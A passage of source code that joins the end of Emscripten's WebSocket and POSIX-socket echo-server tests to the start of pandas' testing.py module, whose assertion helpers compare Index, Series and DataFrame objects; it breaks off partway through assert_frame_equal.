args): if harness_class == WebsockifyServerHarness and common.EMTEST_LACKS_NATIVE_CLANG: self.skipTest('requires native clang') # Basic test of node client against both a Websockified and compiled echo server. with harness_class(test_file('sockets/test_sockets_echo_server.c'), args, port) as harness: expected = 'do_msg_read: read 14 bytes' self.do_runf(test_file('sockets/test_sockets_echo_client.c'), expected, emcc_args=['-DSOCKK=%d' % harness.listen_port] + args) @requires_native_clang def test_nodejs_sockets_echo_subprotocol(self): # Test against a Websockified server with compile time configured WebSocket subprotocol. We use a Websockified # server because as long as the subprotocol list contains binary it will configure itself to accept binary # This test also checks that the connect url contains the correct subprotocols. with WebsockifyServerHarness(test_file('sockets/test_sockets_echo_server.c'), [], 59166): self.run_process([EMCC, '-Werror', test_file('sockets/test_sockets_echo_client.c'), '-o', 'client.js', '-sSOCKET_DEBUG', '-sWEBSOCKET_SUBPROTOCOL="base64, binary"', '-DSOCKK=59166']) out = self.run_js('client.js') self.assertContained('do_msg_read: read 14 bytes', out) self.assertContained(['connect: ws://127.0.0.1:59166, base64,binary', 'connect: ws://127.0.0.1:59166/, base64,binary'], out) # Test against a Websockified server with runtime WebSocket configuration. We specify both url and subprotocol. # In this test we have *deliberately* used the wrong port '-DSOCKK=12345' to configure the echo_client.c, so # the connection would fail without us specifying a valid WebSocket URL in the configuration. print("\nTesting runtime WebSocket configuration.\n") create_file('websocket_pre.js', ''' var Module = { websocket: { url: 'ws://localhost:59168/testA/testB', subprotocol: 'text, base64, binary', } }; ''') with WebsockifyServerHarness(test_file('sockets/test_sockets_echo_server.c'), [], 59168): self.run_process([EMCC, '-Werror', test_file('sockets/test_sockets_echo_client.c'), '-o', 'client.js', '--pre-js=websocket_pre.js', '-sSOCKET_DEBUG', '-DSOCKK=12345']) out = self.run_js('client.js') self.assertContained('do_msg_read: read 14 bytes', out) self.assertContained('connect: ws://localhost:59168/testA/testB, text,base64,binary', out) # Test Emscripten WebSockets API to send and receive text and binary messages against an echo server. # N.B. running this test requires 'npm install ws' in Emscripten root directory def test_websocket_send(self): with NodeJsWebSocketEchoServerProcess(): self.btest_exit(test_file('websocket/test_websocket_send.c'), args=['-lwebsocket', '-sNO_EXIT_RUNTIME', '-sWEBSOCKET_DEBUG']) # Test that native POSIX sockets API can be used by proxying calls to an intermediate WebSockets # -> POSIX sockets bridge server def test_posix_proxy_sockets(self): # Build the websocket bridge server self.run_process(['cmake', path_from_root('tools/websocket_to_posix_proxy')]) self.run_process(['cmake', '--build', '.']) if os.name == 'nt': # This is not quite exact, instead of "isWindows()" this should be "If CMake defaults to building with Visual Studio", but there is no good check for that, so assume Windows==VS. proxy_server = os.path.join(self.get_dir(), 'Debug', 'websocket_to_posix_proxy.exe') else: proxy_server = os.path.join(self.get_dir(), 'websocket_to_posix_proxy') with BackgroundServerProcess([proxy_server, '8080']): with PythonTcpEchoServerProcess('7777'): # Build and run the TCP echo client program with Emscripten self.btest_exit(test_file('websocket/tcp_echo_client.c'), args=['-lwebsocket', '-sPROXY_POSIX_SOCKETS', '-sUSE_PTHREADS', '-sPROXY_TO_PTHREAD'])
testing.py
import bz2 from collections import Counter from contextlib import contextmanager from datetime import datetime from functools import wraps import gzip import os from shutil import rmtree import string import tempfile from typing import Union, cast import warnings import zipfile import numpy as np from numpy.random import rand, randn from pandas._config.localization import ( # noqa:F401 can_set_locale, get_locales, set_locale, ) import pandas._libs.testing as _testing from pandas.compat import _get_lzma_file, _import_lzma from pandas.core.dtypes.common import ( is_bool, is_categorical_dtype, is_datetime64_dtype, is_datetime64tz_dtype, is_extension_array_dtype, is_interval_dtype, is_list_like, is_number, is_period_dtype, is_sequence, is_timedelta64_dtype, needs_i8_conversion, ) from pandas.core.dtypes.missing import array_equivalent import pandas as pd from pandas import ( Categorical, CategoricalIndex, DataFrame, DatetimeIndex, Index, IntervalIndex, MultiIndex, RangeIndex, Series, bdate_range, ) from pandas.core.algorithms import take_1d from pandas.core.arrays import ( DatetimeArray, ExtensionArray, IntervalArray, PeriodArray, TimedeltaArray, period_array, ) from pandas.io.common import urlopen from pandas.io.formats.printing import pprint_thing lzma = _import_lzma() N = 30 K = 4 _RAISE_NETWORK_ERROR_DEFAULT = False # set testing_mode _testing_mode_warnings = (DeprecationWarning, ResourceWarning) def set_testing_mode(): # set the testing mode filters testing_mode = os.environ.get("PANDAS_TESTING_MODE", "None") if "deprecate" in testing_mode: warnings.simplefilter("always", _testing_mode_warnings) def reset_testing_mode(): # reset the testing mode filters testing_mode = os.environ.get("PANDAS_TESTING_MODE", "None") if "deprecate" in testing_mode: warnings.simplefilter("ignore", _testing_mode_warnings) set_testing_mode() def reset_display_options(): """ Reset the display options for printing and representing objects. """ pd.reset_option("^display.", silent=True) def round_trip_pickle(obj, path=None): """ Pickle an object and then read it again. Parameters ---------- obj : pandas object The object to pickle and then re-read. path : str, default None The path where the pickled object is written and then read. Returns ------- round_trip_pickled_object : pandas object The original object that was pickled and then re-read. """ if path is None: path = "__{random_bytes}__.pickle".format(random_bytes=rands(10)) with ensure_clean(path) as path: pd.to_pickle(obj, path) return pd.read_pickle(path) def round_trip_pathlib(writer, reader, path=None): """ Write an object to file specified by a pathlib.Path and read it back Parameters ---------- writer : callable bound to pandas object IO writing function (e.g. DataFrame.to_csv ) reader : callable IO reading function (e.g. pd.read_csv ) path : str, default None The path where the object is written and then read. Returns ------- round_trip_object : pandas object The original object that was serialized and then re-read. """ import pytest Path = pytest.importorskip("pathlib").Path if path is None: path = "___pathlib___" with ensure_clean(path) as path: writer(Path(path)) obj = reader(Path(path)) return obj def round_trip_localpath(writer, reader, path=None): """ Write an object to file specified by a py.path LocalPath and read it back Parameters ---------- writer : callable bound to pandas object IO writing function (e.g. DataFrame.to_csv ) reader : callable IO reading function (e.g. pd.read_csv ) path : str, default None The path where the object is written and then read. Returns ------- round_trip_object : pandas object The original object that was serialized and then re-read. """ import pytest LocalPath = pytest.importorskip("py.path").local if path is None: path = "___localpath___" with ensure_clean(path) as path: writer(LocalPath(path)) obj = reader(LocalPath(path)) return obj @contextmanager def decompress_file(path, compression): """ Open a compressed file and return a file object Parameters ---------- path : str The path where the file is read from compression : {'gzip', 'bz2', 'zip', 'xz', None} Name of the decompression to use Returns ------- f : file object """ if compression is None: f = open(path, "rb") elif compression == "gzip": f = gzip.open(path, "rb") elif compression == "bz2": f = bz2.BZ2File(path, "rb") elif compression == "xz": f = _get_lzma_file(lzma)(path, "rb") elif compression == "zip": zip_file = zipfile.ZipFile(path) zip_names = zip_file.namelist() if len(zip_names) == 1: f = zip_file.open(zip_names.pop()) else: raise ValueError("ZIP file {} error. Only one file per ZIP.".format(path)) else: msg = "Unrecognized compression type: {}".format(compression) raise ValueError(msg) try: yield f finally: f.close() if compression == "zip": zip_file.close() def write_to_compressed(compression, path, data, dest="test"): """ Write data to a compressed file. Parameters ---------- compression : {'gzip', 'bz2', 'zip', 'xz'} The compression type to use. path : str The file path to write the data. data : str The data to write. dest : str, default "test" The destination file (for ZIP only) Raises ------ ValueError : An invalid compression value was passed in. """ if compression == "zip": import zipfile compress_method = zipfile.ZipFile elif compression == "gzip": import gzip compress_method = gzip.GzipFile elif compression == "bz2": import bz2 compress_method = bz2.BZ2File elif compression == "xz": compress_method = _get_lzma_file(lzma) else: msg = "Unrecognized compression type: {}".format(compression) raise ValueError(msg) if compression == "zip": mode = "w" args = (dest, data) method = "writestr" else: mode = "wb" args = (data,) method = "write" with compress_method(path, mode=mode) as f: getattr(f, method)(*args) def assert_almost_equal( left, right, check_dtype="equiv", check_less_precise=False, **kwargs ): """ Check that the left and right objects are approximately equal. By approximately equal, we refer to objects that are numbers or that contain numbers which may be equivalent to specific levels of precision. Parameters ---------- left : object right : object check_dtype : bool or {'equiv'}, default 'equiv' Check dtype if both a and b are the same type. If 'equiv' is passed in, then `RangeIndex` and `Int64Index` are also considered equivalent when doing type checking. check_less_precise : bool or int, default False Specify comparison precision. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the number of digits to compare. When comparing two numbers, if the first number has magnitude less than 1e-5, we compare the two numbers directly and check whether they are equivalent within the specified precision. Otherwise, we compare the **ratio** of the second number to the first number and check whether it is equivalent to 1 within the specified precision. """ if isinstance(left, pd.Index): assert_index_equal( left, right, check_exact=False, exact=check_dtype, check_less_precise=check_less_precise, **kwargs, ) elif isinstance(left, pd.Series): assert_series_equal( left, right, check_exact=False, check_dtype=check_dtype, check_less_precise=check_less_precise, **kwargs, ) elif isinstance(left, pd.DataFrame): assert_frame_equal( left, right, check_exact=False, check_dtype=check_dtype, check_less_precise=check_less_precise, **kwargs, ) else: # Other sequences. if check_dtype: if is_number(left) and is_number(right): # Do not compare numeric classes, like np.float64 and float. pass elif is_bool(left) and is_bool(right): # Do not compare bool classes, like np.bool_ and bool. pass else: if isinstance(left, np.ndarray) or isinstance(right, np.ndarray): obj = "numpy array" else: obj = "Input" assert_class_equal(left, right, obj=obj) _testing.assert_almost_equal( left, right, check_dtype=check_dtype, check_less_precise=check_less_precise, **kwargs, ) def _check_isinstance(left, right, cls): """ Helper method for our assert_* methods that ensures that the two objects being compared have the right type before proceeding with the comparison. Parameters ---------- left : The first object being compared. right : The second object being compared. cls : The class type to check against. Raises ------ AssertionError : Either `left` or `right` is not an instance of `cls`. """ err_msg = "{name} Expected type {exp_type}, found {act_type} instead" cls_name = cls.__name__ if not isinstance(left, cls): raise AssertionError( err_msg.format(name=cls_name, exp_type=cls, act_type=type(left)) ) if not isinstance(right, cls): raise AssertionError( err_msg.format(name=cls_name, exp_type=cls, act_type=type(right)) ) def assert_dict_equal(left, right, compare_keys=True): _check_isinstance(left, right, dict) _testing.assert_dict_equal(left, right, compare_keys=compare_keys) def randbool(size=(), p=0.5): return rand(*size) <= p RANDS_CHARS = np.array(list(string.ascii_letters + string.digits), dtype=(np.str_, 1)) RANDU_CHARS = np.array( list("".join(map(chr, range(1488, 1488 + 26))) + string.digits), dtype=(np.unicode_, 1), ) def rands_array(nchars, size, dtype="O"): """Generate an array of byte strings.""" retval = ( np.random.choice(RANDS_CHARS, size=nchars * np.prod(size)) .view((np.str_, nchars)) .reshape(size) ) if dtype is None: return retval else: return retval.astype(dtype) def randu_array(nchars, size, dtype="O"): """Generate an array of unicode strings.""" retval = ( np.random.choice(RANDU_CHARS, size=nchars * np.prod(size)) .view((np.unicode_, nchars)) .reshape(size) ) if dtype is None: return retval else: return retval.astype(dtype) def rands(nchars): """ Generate one random byte string. See `rands_array` if you want to create an array of random strings. """ return "".join(np.random.choice(RANDS_CHARS, nchars)) def randu(nchars): """ Generate one random unicode string. See `randu_array` if you want to create an array of random unicode strings. """ return "".join(np.random.choice(RANDU_CHARS, nchars)) def close(fignum=None): from matplotlib.pyplot import get_fignums, close as _close if fignum is None: for fignum in get_fignums(): _close(fignum) else: _close(fignum) # ----------------------------------------------------------------------------- # contextmanager to ensure the file cleanup @contextmanager def ensure_clean(filename=None, return_filelike=False): """Gets a temporary path and agrees to remove on close. Parameters ---------- filename : str (optional) if None, creates a temporary file which is then removed when out of scope. if passed, creates temporary file with filename as ending. return_filelike : bool (default False) if True, returns a file-like which is *always* cleaned. Necessary for savefig and other functions which want to append extensions. """ filename = filename or "" fd = None if return_filelike: f = tempfile.TemporaryFile(suffix=filename) try: yield f finally: f.close() else: # don't generate tempfile if using a path with directory specified if len(os.path.dirname(filename)): raise ValueError("Can't pass a qualified name to ensure_clean()") try: fd, filename = tempfile.mkstemp(suffix=filename) except UnicodeEncodeError: import pytest pytest.skip("no unicode file names on this system") try: yield filename finally: try: os.close(fd) except OSError: print( "Couldn't close file descriptor: {fdesc} (file: {fname})".format( fdesc=fd, fname=filename ) ) try: if os.path.exists(filename): os.remove(filename) except OSError as e: print("Exception on removing file: {error}".format(error=e)) @contextmanager def ensure_clean_dir(): """ Get a temporary directory path and agrees to remove on close. Yields ------ Temporary directory path """ directory_name = tempfile.mkdtemp(suffix="") try: yield directory_name finally: try: rmtree(directory_name) except OSError: pass @contextmanager def ensure_safe_environment_variables(): """ Get a context manager to safely set environment variables All changes will be undone on close, hence environment variables set within this contextmanager will neither persist nor change global state. """ saved_environ = dict(os.environ) try: yield finally: os.environ.clear() os.environ.update(saved_environ) # ----------------------------------------------------------------------------- # Comparators def equalContents(arr1, arr2): """Checks if the set of unique elements of arr1 and arr2 are equivalent. """ return frozenset(arr1) == frozenset(arr2) def assert_index_equal( left: Index, right: Index, exact: Union[bool, str] = "equiv", check_names: bool = True, check_less_precise: Union[bool, int] = False, check_exact: bool = True, check_categorical: bool = True, obj: str = "Index", ) -> None: """ Check that left and right Index are equal. Parameters ---------- left : Index right : Index exact : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. If 'equiv', then RangeIndex can be substituted for Int64Index as well. check_names : bool, default True Whether to check the names attribute. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. check_exact : bool, default True Whether to compare number exactly. check_categorical : bool, default True Whether to compare internal Categorical exactly. obj : str, default 'Index' Specify object name being compared, internally used to show appropriate assertion message. """ __tracebackhide__ = True def _check_types(l, r, obj="Index"): if exact: assert_class_equal(l, r, exact=exact, obj=obj) # Skip exact dtype checking when `check_categorical` is False if check_categorical: assert_attr_equal("dtype", l, r, obj=obj) # allow string-like to have different inferred_types if l.inferred_type in ("string", "unicode"): assert r.inferred_type in ("string", "unicode") else: assert_attr_equal("inferred_type", l, r, obj=obj) def _get_ilevel_values(index, level): # accept level number only unique = index.levels[level] level_codes = index.codes[level] filled = take_1d(unique.values, level_codes, fill_value=unique._na_value) values = unique._shallow_copy(filled, name=index.names[level]) return values # instance validation _check_isinstance(left, right, Index) # class / dtype comparison _check_types(left, right, obj=obj) # level comparison if left.nlevels != right.nlevels: msg1 = "{obj} levels are different".format(obj=obj) msg2 = "{nlevels}, {left}".format(nlevels=left.nlevels, left=left) msg3 = "{nlevels}, {right}".format(nlevels=right.nlevels, right=right) raise_assert_detail(obj, msg1, msg2, msg3) # length comparison if len(left) != len(right): msg1 = "{obj} length are different".format(obj=obj) msg2 = "{length}, {left}".format(length=len(left), left=left) msg3 = "{length}, {right}".format(length=len(right), right=right) raise_assert_detail(obj, msg1, msg2, msg3) # MultiIndex special comparison for little-friendly error messages if left.nlevels > 1: left = cast(MultiIndex, left) right = cast(MultiIndex, right) for level in range(left.nlevels): # cannot use get_level_values here because it can change dtype llevel = _get_ilevel_values(left, level) rlevel = _get_ilevel_values(right, level) lobj = "MultiIndex level [{level}]".format(level=level) assert_index_equal( llevel, rlevel, exact=exact, check_names=check_names, check_less_precise=check_less_precise, check_exact=check_exact, obj=lobj, ) # get_level_values may change dtype _check_types(left.levels[level], right.levels[level], obj=obj) # skip exact index checking when `check_categorical` is False if check_exact and check_categorical: if not left.equals(right): diff = np.sum((left.values != right.values).astype(int)) * 100.0 / len(left) msg = "{obj} values are different ({pct} %)".format( obj=obj, pct=np.round(diff, 5) ) raise_assert_detail(obj, msg, left, right) else: _testing.assert_almost_equal( left.values, right.values, check_less_precise=check_less_precise, check_dtype=exact, obj=obj, lobj=left, robj=right, ) # metadata comparison if check_names: assert_attr_equal("names", left, right, obj=obj) if isinstance(left, pd.PeriodIndex) or isinstance(right, pd.PeriodIndex): assert_attr_equal("freq", left, right, obj=obj) if isinstance(left, pd.IntervalIndex) or isinstance(right, pd.IntervalIndex): assert_interval_array_equal(left.values, right.values) if check_categorical: if is_categorical_dtype(left) or is_categorical_dtype(right): assert_categorical_equal( left.values, right.values, obj="{obj} category".format(obj=obj) ) def assert_class_equal(left, right, exact=True, obj="Input"): """checks classes are equal.""" __tracebackhide__ = True def repr_class(x): if isinstance(x, Index): # return Index as it is to include values in the error message return x try: return x.__class__.__name__ except AttributeError: return repr(type(x)) if exact == "equiv": if type(left) != type(right): # allow equivalence of Int64Index/RangeIndex types = {type(left).__name__, type(right).__name__} if len(types - {"Int64Index", "RangeIndex"}): msg = "{obj} classes are not equivalent".format(obj=obj) raise_assert_detail(obj, msg, repr_class(left), repr_class(right)) elif exact: if type(left) != type(right): msg = "{obj} classes are different".format(obj=obj) raise_assert_detail(obj, msg, repr_class(left), repr_class(right)) def assert_attr_equal(attr, left, right, obj="Attributes"): """checks attributes are equal. Both objects must have attribute. Parameters ---------- attr : str Attribute name being compared. left : object right : object obj : str, default 'Attributes' Specify object name being compared, internally used to show appropriate assertion message """ __tracebackhide__ = True left_attr = getattr(left, attr) right_attr = getattr(right, attr) if left_attr is right_attr: return True elif ( is_number(left_attr) and np.isnan(left_attr) and is_number(right_attr) and np.isnan(right_attr) ): # np.nan return True try: result = left_attr == right_attr except TypeError: # datetimetz on rhs may raise TypeError result = False if not isinstance(result, bool): result = result.all() if result: return True else: msg = 'Attribute "{attr}" are different'.format(attr=attr) raise_assert_detail(obj, msg, left_attr, right_attr) def assert_is_valid_plot_return_object(objs): import matplotlib.pyplot as plt if isinstance(objs, (pd.Series, np.ndarray)): for el in objs.ravel(): msg = ( "one of 'objs' is not a matplotlib Axes instance, type " "encountered {name!r}" ).format(name=el.__class__.__name__) assert isinstance(el, (plt.Axes, dict)), msg else: assert isinstance(objs, (plt.Artist, tuple, dict)), ( "objs is neither an ndarray of Artist instances nor a " 'single Artist instance, tuple, or dict, "objs" is a {name!r}'.format( name=objs.__class__.__name__ ) ) def isiterable(obj): return hasattr(obj, "__iter__") def assert_is_sorted(seq): """Assert that the sequence is sorted.""" if isinstance(seq, (Index, Series)): seq = seq.values # sorting does not change precisions assert_numpy_array_equal(seq, np.sort(np.array(seq))) def assert_categorical_equal( left, right, check_dtype=True, check_category_order=True, obj="Categorical" ): """Test that Categoricals are equivalent. Parameters ---------- left : Categorical right : Categorical check_dtype : bool, default True Check that integer dtype of the codes are the same check_category_order : bool, default True Whether the order of the categories should be compared, which implies identical integer codes. If False, only the resulting values are compared. The ordered attribute is checked regardless. obj : str, default 'Categorical' Specify object name being compared, internally used to show appropriate assertion message """ _check_isinstance(left, right, Categorical) if check_category_order: assert_index_equal( left.categories, right.categories, obj="{obj}.categories".format(obj=obj) ) assert_numpy_array_equal( left.codes, right.codes, check_dtype=check_dtype, obj="{obj}.codes".format(obj=obj), ) else: assert_index_equal( left.categories.sort_values(), right.categories.sort_values(), obj="{obj}.categories".format(obj=obj), ) assert_index_equal( left.categories.take(left.codes), right.categories.take(right.codes), obj="{obj}.values".format(obj=obj), ) assert_attr_equal("ordered", left, right, obj=obj) def assert_interval_array_equal(left, right, exact="equiv", obj="IntervalArray"): """Test that two IntervalArrays are equivalent. Parameters ---------- left, right : IntervalArray The IntervalArrays to compare. exact : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. If 'equiv', then RangeIndex can be substituted for Int64Index as well. obj : str, default 'IntervalArray' Specify object name being compared, internally used to show appropriate assertion message """ _check_isinstance(left, right, IntervalArray) assert_index_equal( left.left, right.left, exact=exact, obj="{obj}.left".format(obj=obj) ) assert_index_equal( left.right, right.right, exact=exact, obj="{obj}.left".format(obj=obj) ) assert_attr_equal("closed", left, right, obj=obj) def assert_period_array_equal(left, right, obj="PeriodArray"): _check_isinstance(left, right, PeriodArray) assert_numpy_array_equal( left._data, right._data, obj="{obj}.values".format(obj=obj) ) assert_attr_equal("freq", left, right, obj=obj) def assert_datetime_array_equal(left, right, obj="DatetimeArray"): __tracebackhide__ = True _check_isinstance(left, right, DatetimeArray) assert_numpy_array_equal(left._data, right._data, obj="{obj}._data".format(obj=obj)) assert_attr_equal("freq", left, right, obj=obj) assert_attr_equal("tz", left, right, obj=obj) def assert_timedelta_array_equal(left, right, obj="TimedeltaArray"): __tracebackhide__ = True _check_isinstance(left, right, TimedeltaArray) assert_numpy_array_equal(left._data, right._data, obj="{obj}._data".format(obj=obj)) assert_attr_equal("freq", left, right, obj=obj) def raise_assert_detail(obj, message, left, right, diff=None): __tracebackhide__ = True if isinstance(left, np.ndarray): left = pprint_thing(left) elif is_categorical_dtype(left): left = repr(left) if isinstance(right, np.ndarray): right = pprint_thing(right) elif is_categorical_dtype(right): right = repr(right) msg = """{obj} are different {message} [left]: {left} [right]: {right}""".format( obj=obj, message=message, left=left, right=right ) if diff is not None: msg += "\n[diff]: {diff}".format(diff=diff) raise AssertionError(msg) def assert_numpy_array_equal( left, right, strict_nan=False, check_dtype=True, err_msg=None, check_same=None, obj="numpy array", ): """ Checks that 'np.ndarray' is equivalent Parameters ---------- left : np.ndarray or iterable right : np.ndarray or iterable strict_nan : bool, default False If True, consider NaN and None to be different. check_dtype: bool, default True check dtype if both a and b are np.ndarray err_msg : str, default None If provided, used as assertion message check_same : None|'copy'|'same', default None Ensure left and right refer/do not refer to the same memory area obj : str, default 'numpy array' Specify object name being compared, internally used to show appropriate assertion message """ __tracebackhide__ = True # instance validation # Show a detailed error message when classes are different assert_class_equal(left, right, obj=obj) # both classes must be an np.ndarray _check_isinstance(left, right, np.ndarray) def _get_base(obj): return obj.base if getattr(obj, "base", None) is not None else obj left_base = _get_base(left) right_base = _get_base(right) if check_same == "same": if left_base is not right_base: msg = "{left!r} is not {right!r}".format(left=left_base, right=right_base) raise AssertionError(msg) elif check_same == "copy": if left_base is right_base: msg = "{left!r} is {right!r}".format(left=left_base, right=right_base) raise AssertionError(msg) def _raise(left, right, err_msg): if err_msg is None: if left.shape != right.shape: raise_assert_detail( obj, "{obj} shapes are different".format(obj=obj), left.shape, right.shape, ) diff = 0 for l, r in zip(left, right): # count up differences if not array_equivalent(l, r, strict_nan=strict_nan): diff += 1 diff = diff * 100.0 / left.size msg = "{obj} values are different ({pct} %)".format( obj=obj, pct=np.round(diff, 5) ) raise_assert_detail(obj, msg, left, right) raise AssertionError(err_msg) # compare shape and values if not array_equivalent(left, right, strict_nan=strict_nan): _raise(left, right, err_msg) if check_dtype: if isinstance(left, np.ndarray) and isinstance(right, np.ndarray): assert_attr_equal("dtype", left, right, obj=obj) def assert_extension_array_equal( left, right, check_dtype=True, check_less_precise=False, check_exact=False ): """Check that left and right ExtensionArrays are equal. Parameters ---------- left, right : ExtensionArray The two arrays to compare check_dtype : bool, default True Whether to check if the ExtensionArray dtypes are identical. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. check_exact : bool, default False Whether to compare number exactly. Notes ----- Missing values are checked separately from valid values. A mask of missing values is computed for each and checked to match. The remaining all-valid values are cast to object dtype and checked. """ assert isinstance(left, ExtensionArray), "left is not an ExtensionArray" assert isinstance(right, ExtensionArray), "right is not an ExtensionArray" if check_dtype: assert_attr_equal("dtype", left, right, obj="ExtensionArray") if hasattr(left, "asi8") and type(right) == type(left): # Avoid slow object-dtype comparisons assert_numpy_array_equal(left.asi8, right.asi8) return left_na = np.asarray(left.isna()) right_na = np.asarray(right.isna()) assert_numpy_array_equal(left_na, right_na, obj="ExtensionArray NA mask") left_valid = np.asarray(left[~left_na].astype(object)) right_valid = np.asarray(right[~right_na].astype(object)) if check_exact: assert_numpy_array_equal(left_valid, right_valid, obj="ExtensionArray") else: _testing.assert_almost_equal( left_valid, right_valid, check_dtype=check_dtype, check_less_precise=check_less_precise, obj="ExtensionArray", ) # This could be refactored to use the NDFrame.equals method def assert_series_equal( left, right, check_dtype=True, check_index_type="equiv", check_series_type=True, check_less_precise=False, check_names=True, check_exact=False, check_datetimelike_compat=False, check_categorical=True, obj="Series", ): """ Check that left and right Series are equal. Parameters ---------- left : Series right : Series check_dtype : bool, default True Whether to check the Series dtype is identical. check_index_type : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. check_series_type : bool, default True Whether to check the Series class is identical. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. When comparing two numbers, if the first number has magnitude less than 1e-5, we compare the two numbers directly and check whether they are equivalent within the specified precision. Otherwise, we compare the **ratio** of the second number to the first number and check whether it is equivalent to 1 within the specified precision. check_names : bool, default True Whether to check the Series and Index names attribute. check_exact : bool, default False Whether to compare number exactly. check_datetimelike_compat : bool, default False Compare datetime-like which is comparable ignoring dtype. check_categorical : bool, default True Whether to compare internal Categorical exactly. obj : str, default 'Series' Specify object name being compared, internally used to show appropriate assertion message. """ __tracebackhide__ = True # instance validation _check_isinstance(left, right, Series) if check_series_type: # ToDo: There are some tests using rhs is sparse # lhs is dense. Should use assert_class_equal in future assert isinstance(left, type(right)) # assert_class_equal(left, right, obj=obj) # length comparison if len(left) != len(right): msg1 = "{len}, {left}".format(len=len(left), left=left.index) msg2 = "{len}, {right}".format(len=len(right), right=right.index) raise_assert_detail(obj, "Series length are different", msg1, msg2) # index comparison assert_index_equal( left.index, right.index, exact=check_index_type, check_names=check_names, check_less_precise=check_less_precise, check_exact=check_exact, check_categorical=check_categorical, obj="{obj}.index".format(obj=obj), ) if check_dtype: # We want to skip exact dtype checking when `check_categorical` # is False. We'll still raise if only one is a `Categorical`, # regardless of `check_categorical` if ( is_categorical_dtype(left) and is_categorical_dtype(right) and not check_categorical ): pass else: assert_attr_equal( "dtype", left, right, obj="Attributes of {obj}".format(obj=obj) ) if check_exact: assert_numpy_array_equal( left._internal_get_values(), right._internal_get_values(), check_dtype=check_dtype, obj="{obj}".format(obj=obj), ) elif check_datetimelike_compat: # we want to check only if we have compat dtypes # e.g. integer and M|m are NOT compat, but we can simply check # the values in that case if needs_i8_conversion(left) or needs_i8_conversion(right): # datetimelike may have different objects (e.g. datetime.datetime # vs Timestamp) but will compare equal if not Index(left.values).equals(Index(right.values)): msg = ( "[datetimelike_compat=True] {left} is not equal to {right}." ).format(left=left.values, right=right.values) raise AssertionError(msg) else: assert_numpy_array_equal( left._internal_get_values(), right._internal_get_values(), check_dtype=check_dtype, ) elif is_interval_dtype(left) or is_interval_dtype(right): assert_interval_array_equal(left.array, right.array) elif is_extension_array_dtype(left.dtype) and is_datetime64tz_dtype(left.dtype): # .values is an ndarray, but ._values is the ExtensionArray. # TODO: Use .array assert is_extension_array_dtype(right.dtype) assert_extension_array_equal(left._values, right._values) elif ( is_extension_array_dtype(left) and not is_categorical_dtype(left) and is_extension_array_dtype(right) and not is_categorical_dtype(right) ): assert_extension_array_equal(left.array, right.array) else: _testing.assert_almost_equal( left._internal_get_values(), right._internal_get_values(), check_less_precise=check_less_precise, check_dtype=check_dtype, obj="{obj}".format(obj=obj), ) # metadata comparison if check_names: assert_attr_equal("name", left, right, obj=obj) if check_categorical: if is_categorical_dtype(left) or is_categorical_dtype(right): assert_categorical_equal( left.values, right.values, obj="{obj} category".format(obj=obj) ) # This could be refactored to use the NDFrame.equals method def assert_frame_equal( left, right, check_dtype=True, check_index_type="equiv", check_column_type="equiv", check_frame_type=True, check_less_precise=False, check_names=True, by_blocks=False, check_exact=False, check_datetimelike_compat=False, check_categorical=True, check_like=False, obj="DataFrame", ): """ Check that left and right DataFrame are equal. This function is intended to compare two DataFrames and output any differences. Is is mostly intended for use in unit tests. Additional parameters allow varying the strictness of the equality checks performed. Parameters ---------- left : DataFrame First DataFrame to compare. right : DataFrame Second DataFrame to compare. check_dtype : bool, default True Whether to check the DataFrame dtype is identical. check_index_type : bool or {'equiv'}, default 'equiv' Whether to check the Index class, dtype and inferred_type are identical. check_column_type : bool or {'equiv'}, default 'equiv' Whether to check the columns class, dtype and inferred_type are identical. Is passed as the ``exact`` argument of :func:`assert_index_equal`. check_frame_type : bool, default True Whether to check the DataFrame class is identical. check_less_precise : bool or int, default False Specify comparison precision. Only used when check_exact is False. 5 digits (False) or 3 digits (True) after decimal points are compared. If int, then specify the digits to compare. When comparing two numbers, if the first number has magnitude less than 1e-5, we compare the two numbers directly and check whether they are equivalent within the specified precision. Otherwise, we compare the **ratio** of the second number to the first number and check whether it is equivalent to 1 within the specified precision. check_names : bool, default True Whether to check that the `names` attribute for both the `index` and `column` attributes of the DataFrame is identical. by_blocks : bool, default False Specify how to compare internal data. If False, compare by columns. If True, compare by blocks. check_exact : bool, default False Whether to compare number exactly. check_datetimelike_compat : bool, default False Compare datetime-like which is comparable ignoring dtype. check_categorical : bool, default True Whether to compare internal Categorical exactly. check_like : bool, default False If True, ignore the order of index & columns. Note: index labels must match their respective rows (same as in columns) - same labels must be with the same data. obj : str, default 'DataFrame' Specify object name being compared, internally used to show appropriate assertion message. See Also -------- assert_series_equal : Equivalent method for asserting Series equality. DataFrame.equals : Check DataFrame equality. Examples -------- This example shows comparing two DataFrames that are equal but with columns of differing dtypes. >>> from pandas.util.testing import assert_frame_equal >>> df1 = pd.DataFrame({'a': [1, 2], 'b': [3, 4]}) >>> df2 = pd.DataFrame({'a': [1, 2], 'b': [3.0, 4.0]}) df1 equals itself. >>> assert_frame_equal(df1, df1) df1 differs from df2 as column 'b' is of a different type. >>> assert_frame_equal(df1, df2) Traceback (most recent call last): ... AssertionError: Attributes of DataFrame.iloc[:, 1] are different Attribute "dtype" are different [left]: int64 [right]: float64 Ignore differing dtypes in columns with check_dtype. >>> assert_frame_equal(df1, df2, check_dtype=False) """ __tracebackhide__ = True # instance validation _check_isinstance(left, right, DataFrame) if check_frame_type: assert isinstance(left, type(right)) # assert_class_equal(left, right, obj=obj) # shape comparison if left.shape != right.shape: raise_assert_detail( obj, "{obj} shape mismatch".format(obj=obj), "{shape!r}".format(shape=left.shape), "{shape!r}".format(shape=right.shape), ) if check_like: left, right = left.reindex_like(right), right # index comparison assert_index_equal( left.index, right.index, exact=check_index_type, check_names=check_names, check_less_precise=check_less_precise, check_exact=check_exact, check_categorical=check_categorical, obj="{obj}.index".format(obj=obj), ) # column comparison assert_index_equal( left.columns, right.columns, exact=check_column_type, check_names=check_names, 